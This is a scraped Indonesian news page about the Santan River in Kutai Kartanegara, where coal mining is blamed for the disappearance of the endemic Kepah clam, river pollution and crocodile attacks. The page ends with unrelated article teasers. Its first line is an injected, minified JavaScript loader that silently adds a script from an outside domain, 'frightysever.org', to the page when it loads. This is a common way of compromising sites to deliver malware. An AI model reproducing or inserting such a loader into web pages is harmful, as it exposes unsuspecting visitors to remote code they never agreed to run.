(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Aktivitas tambang batu bara di sekitar Sungai Santan, Kecamatan Marang Kayu, Kutai Kartanegara (Kukar) disinyalir menjadi penyebab fauna endemik, Kerang Kepah punah di wilayah tersebut.
Kerang sungai berukuran besar ini dahulu menjadi fauna di ekosistem itu. Saat jumlahnya melimpah, kerang ini menjadi santapan khas warga Desa Santan Tengah.
Di Daerah Aliran Sungai (DAS) Santan, merupakan salah satu bagian dari DAS Karangan dengan panjang sungai 78,0 km yang membentang dari Kabupaten Kutai Timur (Kutim) dan Kukar.
Di 1980 hingga 2000-an, sebelum akses jalan raya menghubungkan Desa Santan, mayoritas penduduk memanfaatkan sungai sebagai moda transportasi air untuk mengangkut hasil pertanian. Seperti kelapa, kakao, kopi, koprah, pisang dan hasil bumi lainnya ke Samarinda dan Bontang.
Baca juga: Azis Syamsuddin Bukan Orang Lampung, Mengapa Bisa Jadi Wakil Rakyat dari Lampung?
Ketua Tani Muda Santan, Taufik Iskandar menjelaskan, Sungai Santan menjadi bagian dari kebudayaan warga sejak lama. Ini terlihat dari bentuk rumah warga yang menghadap ke sungai. Sungai yang mengalir dari hulunya berada dikawasan Taman Nasional Kutai dan Muaranya ke Selat Makassar.
Ia menyebutkan, hubungan erat warga setempat dengan sungai pelan-pelan pudar sejak lingkungannya rusak. Aktivitas perusahaan tambang sejak 1997 lalu disebut-sebut menjadi faktor utama DAS Santan dan ekosistemnya hancur.
Ia bahkan merinci, akibat dari eksplorasi tambang di hulu, mengakibatkan perubahan tata air daerah sekitar, semakin keruhnya air permukaan di sekitar lokasi pertambangan, serta menurunnya kualitas air sungai.
Proses tersebut dalam jangka panjang akan menyebabkan pendangkalan alur sungai, yang menimbulkan banjir di tiga desa santan ulu, tengah dan ilir. Hingga hilangnya ruang ekonomi nelayan sungai, karena hasil tangkapan semakin berkurang.
“Semenjak dijadikannya Sungai Santan sebagai media pembuangan air dari settling pond limbah penambangan batubara yang disalurkan ke badan sungai santan, tercatat sudah 11 orang tewas diterkam buaya. Karena habitat buaya tercemar, kondisi ini terjadi karena hulu sungai santan yang seharusnya menjadi kawasan penyangga berubah menjadi tempat kegiatan pengerukan pertambangan,” bebernya, dikutip dari KlikKaltim.com–Jaringan Suara.com, Selasa (28/9/2021).
Baca juga: Investasi Bodong Balikpapan, Korban Capai 220 Orang, Salah Satunya Rugi Rp 400 Juta
Usaha untuk mengkonfirmasi ke pihak perusahaan, yakni PT Indominco Mandiri sudah dilakukan. Melalui staf eksternalnya, Yulianus. Namun, perusahaan enggan berkomentar terkait pernyataan yang disuarakan Tani Muda Santan.
“Manajemen tidak mau berkomentar mas,” tandasnya. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.